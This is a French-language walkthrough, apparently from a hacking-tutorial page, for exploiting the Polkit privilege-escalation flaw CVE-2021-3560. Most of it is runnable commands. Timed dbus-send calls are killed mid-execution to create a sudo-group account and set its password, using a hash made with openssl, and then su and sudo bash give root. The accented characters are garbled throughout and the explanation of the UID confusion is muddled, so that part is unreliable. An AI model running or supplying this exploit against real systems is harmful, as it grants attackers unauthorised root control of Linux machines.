CVE 2021-3560 (Polkit)

Polkit est un processus d'arriรจre-plan qui permet l'autorisation mais il a une invite graphique avec laquelle les utilisateurs d'Ubuntu doivent รชtre familiers.

Cependant, polkit est รฉgalement exรฉcutรฉ en mode texte lors de l'utilisation d'une session en mode texte, par exemple lors de l'utilisation de ssh.

$ pkexec sh

Exploitation

Pour que l'exploit fonctionne, nous devons tuer la commande pendant son exรฉcution. Pour cela, nous devons vรฉrifier le temps nรฉcessaire ร  l'exรฉcution de cette commande.

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:<username> string:"user" int32:1

Disons par exemple que la commande mette 0,008 seconde pour s'exรฉcuter.

On va donc faire en sorte de kill le processus avant la fin de son exรฉcution comme ceci:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:<username> string:"user" int32:1 & sleep 0.0035s; kill $!

L'exploit fonctionne rarement du premier coups il arrive de devoir relancer 5, 6, 7 fois la commande pour que le nouvel utilisateur soit crรฉรฉ.

Comment l'exploit fonctionne-t-il ? Dbus attribue un identifiant unique ร  toute connexion. Polkit vรฉrifie cet identifiant unique et fournit une autorisation. Disons que l'UID est de 1,87. Depuis, la connexion s'interrompt, polkit reconnaรฎt l'UID comme 0 et considรจre la demande provenant de la racine. C'est ainsi que fonctionne l'exploit.

Ensuite, nous devons fournir le mot de passe ร  l'aide de dbus afin que nous puissions utiliser cet utilisateur nouvellement crรฉรฉ. Nous devons gรฉnรฉrer un mot de passe hashรฉ car dbus-send prend le mot de passe hashรฉ en entrรฉe.

$ openssl passwd -5 <username>@<password>

Nous devons maintenant passer ce hachage dans la fonction User.SetPassword en utilisant dbus sous un paramรจtre de chaรฎne. La charge utile ressemble ร  :

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User<uid> org.freedesktop.Accounts.User.SetPassword string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7' string:BestHackingTutorials & sleep 0.0035s ; kill $!

Nous devons envoyer cette commande 6 ร  7 fois pour que cela fonctionne. Nous pouvons maintenant nous connecter ร  cet utilisateur.

su <username>
password: <username>@<password>

Vous pouvez enfin รฉlever vos privilรจges en utilisant la commande sudo bash car l'utilisateur crรฉรฉ est membre du groupe sudo.

Derniรจre mise ร  jour